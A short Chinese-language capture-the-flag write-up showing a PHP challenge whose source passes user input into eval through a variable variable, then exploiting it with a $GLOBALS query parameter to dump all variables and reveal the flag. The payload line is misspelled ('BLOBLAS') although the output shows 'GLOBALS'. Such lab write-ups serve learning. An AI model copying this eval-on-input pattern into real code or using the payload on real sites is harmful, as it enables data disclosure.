打开题目,显示源码:
flag In the variable ! <?php
error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
$args = $_GET['args'];
if(!preg_match("/^\w+$/",$args)){
die("args error!");
}
eval("var_dump($$args);");
}
?>
其中preg_match正则表达式的 意思是,匹配字符串,\w表示字符+数字+下划线,*代表有若干个\w字符组成。如果不匹配会输出 ‘’args error!‘’\
而下一句的$$args,比较有意思。解析一下,PHP中变量可以当作另一个变量的变量名。
例如
<?php
$a='b';
$b="Boogle";
eval("var_dump($$a);"); //输出 Boogle
?>
再看第一句提示:
flag In the variable !
//flag 在变量中。
那么结合两者,可以想到一个很有意思的变量----$GLOBALS:一个包含了全部变量的全局组合数组。
构造payload:?args=BLOBLAS
即可爆出所有变量,其中包含flag
array(7) { ["GLOBALS"]=> *RECURSION* ["_POST"]=> array(0) { } ["_GET"]=> array(1) { ["args"]=> string(7) "GLOBALS" } ["_COOKIE"]=> array(0) { } ["_FILES"]=> array(0) { } ["ZFkwe3"]=> string(38) "flag{92853051ab894a64f7865cf3c2128b34}" ["args"]=> string(7) "GLOBALS" }